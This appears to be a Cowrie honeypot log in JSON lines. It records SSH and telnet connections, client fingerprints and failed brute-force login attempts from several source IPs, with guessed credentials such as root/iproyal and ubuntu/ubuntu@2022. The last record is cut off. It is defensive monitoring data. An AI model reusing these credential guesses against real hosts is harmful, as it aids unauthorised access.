{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:39.395499Z","src_ip":"202.125.94.71","session":"bd214ee7bbfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:39.434672Z","src_ip":"14.103.107.209","session":"0deb3f9541f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2022","message":"login attempt [ubuntu/ubuntu@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:40.463387Z","src_ip":"202.125.94.71","session":"bd214ee7bbfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:41.726376Z","src_ip":"202.125.94.71","session":"bd214ee7bbfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.002281188964844,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:41.914177Z","src_ip":"161.97.105.174","session":"0ee8d51f5b8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.639671087265015,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:46.359405Z","src_ip":"161.97.105.174","session":"e8ff3a3249c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52724,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e947c32827a","protocol":"telnet","message":"New connection: 161.97.105.174:52724 (159.203.135.109:23) [session: 8e947c32827a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:50.518599Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52432,"dst_ip":"159.203.135.109","dst_port":23,"session":"85468f6095cb","protocol":"telnet","message":"New connection: 161.97.105.174:52432 (159.203.135.109:23) [session: 85468f6095cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:01:58.701712Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52434,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cde3730f557","protocol":"telnet","message":"New connection: 161.97.105.174:52434 (159.203.135.109:23) [session: 9cde3730f557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:01.290900Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52436,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d162758538f","protocol":"telnet","message":"New connection: 161.97.105.174:52436 (159.203.135.109:23) [session: 1d162758538f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:02.468237Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52444,"dst_ip":"159.203.135.109","dst_port":23,"session":"020e90323c2f","protocol":"telnet","message":"New connection: 161.97.105.174:52444 (159.203.135.109:23) [session: 020e90323c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:03.763661Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52446,"dst_ip":"159.203.135.109","dst_port":23,"session":"716331d2c6a2","protocol":"telnet","message":"New connection: 161.97.105.174:52446 (159.203.135.109:23) [session: 716331d2c6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:06.699172Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33724,"dst_ip":"159.203.135.109","dst_port":23,"session":"13c360199760","protocol":"telnet","message":"New connection: 161.97.105.174:33724 (159.203.135.109:23) [session: 13c360199760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:08.791667Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33736,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a1251cbdc3b","protocol":"telnet","message":"New connection: 161.97.105.174:33736 (159.203.135.109:23) [session: 0a1251cbdc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:09.945328Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":37746,"dst_ip":"10.17.0.5","dst_port":22,"session":"78494872b748","protocol":"ssh","message":"New connection: 200.187.71.114:37746 (10.17.0.5:22) [session: 78494872b748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:10.992570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:10.997404Z","src_ip":"200.187.71.114","session":"78494872b748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:11.116311Z","src_ip":"200.187.71.114","session":"78494872b748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"1234","message":"login attempt [user4/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:11.618945Z","src_ip":"200.187.71.114","session":"78494872b748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:12.741148Z","src_ip":"200.187.71.114","session":"78494872b748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.48260807991028,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:13.857561Z","src_ip":"161.97.105.174","session":"48e57669cf98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":35148,"dst_ip":"159.203.135.109","dst_port":22,"session":"9974bd9f9bfc","protocol":"ssh","message":"New connection: 200.118.150.20:35148 (159.203.135.109:22) [session: 9974bd9f9bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:15.686296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:15.691620Z","src_ip":"200.118.150.20","session":"9974bd9f9bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:15.787916Z","src_ip":"200.118.150.20","session":"9974bd9f9bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser2","password":"testuser2","message":"login attempt [testuser2/testuser2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:16.182764Z","src_ip":"200.118.150.20","session":"9974bd9f9bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:17.277566Z","src_ip":"200.118.150.20","session":"9974bd9f9bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00339698791504,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:19.799316Z","src_ip":"154.124.140.33","session":"7dcf00e89957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26654815673828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:21.785065Z","src_ip":"161.97.105.174","session":"8e947c32827a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33550,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5c926c1ee42","protocol":"ssh","message":"New connection: 193.32.162.145:33550 (10.17.0.5:22) [session: c5c926c1ee42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:27.544173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:27.549184Z","src_ip":"193.32.162.145","session":"c5c926c1ee42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:27.658092Z","src_ip":"193.32.162.145","session":"c5c926c1ee42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iproyal","message":"login attempt [root/iproyal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:27.977586Z","src_ip":"193.32.162.145","session":"c5c926c1ee42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:29.085389Z","src_ip":"193.32.162.145","session":"c5c926c1ee42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.640020608901978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:32.930815Z","src_ip":"161.97.105.174","session":"9cde3730f557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07945394515991,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:35.547568Z","src_ip":"161.97.105.174","session":"1d162758538f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34768,"dst_ip":"159.203.135.109","dst_port":23,"session":"67f83edb0283","protocol":"telnet","message":"New connection: 161.97.105.174:34768 (159.203.135.109:23) [session: 67f83edb0283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:36.733329Z"}
{"eventid":"cowrie.session.closed","duration":38.27534079551697,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:36.976924Z","src_ip":"161.97.105.174","session":"85468f6095cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30404543876648,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:37.067607Z","src_ip":"161.97.105.174","session":"020e90323c2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":41122,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba697b354745","protocol":"ssh","message":"New connection: 202.125.94.71:41122 (10.17.0.5:22) [session: ba697b354745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:39.287773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:39.292688Z","src_ip":"202.125.94.71","session":"ba697b354745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:39.557256Z","src_ip":"202.125.94.71","session":"ba697b354745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.60322380065918,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:40.302283Z","src_ip":"161.97.105.174","session":"716331d2c6a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user3","password":"abc123","message":"login attempt [user3/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:40.648692Z","src_ip":"202.125.94.71","session":"ba697b354745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:41.917367Z","src_ip":"202.125.94.71","session":"ba697b354745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.16136717796326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:43.106552Z","src_ip":"161.97.105.174","session":"0a1251cbdc3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.46627187728882,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:02:43.257814Z","src_ip":"161.97.105.174","session":"13c360199760","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50804,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0eda2f0cadf","protocol":"telnet","message":"New connection: 161.97.105.174:50804 (159.203.135.109:23) [session: d0eda2f0cadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:03.720862Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":45170,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f35be799e16","protocol":"telnet","message":"New connection: 161.97.105.174:45170 (159.203.135.109:23) [session: 7f35be799e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:08.518665Z"}
{"eventid":"cowrie.session.closed","duration":32.59995722770691,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:09.333129Z","src_ip":"161.97.105.174","session":"67f83edb0283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":60592,"dst_ip":"10.17.0.5","dst_port":22,"session":"bccdf6b9de64","protocol":"ssh","message":"New connection: 200.187.71.114:60592 (10.17.0.5:22) [session: bccdf6b9de64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:10.004534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:03:10.009395Z","src_ip":"200.187.71.114","session":"bccdf6b9de64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],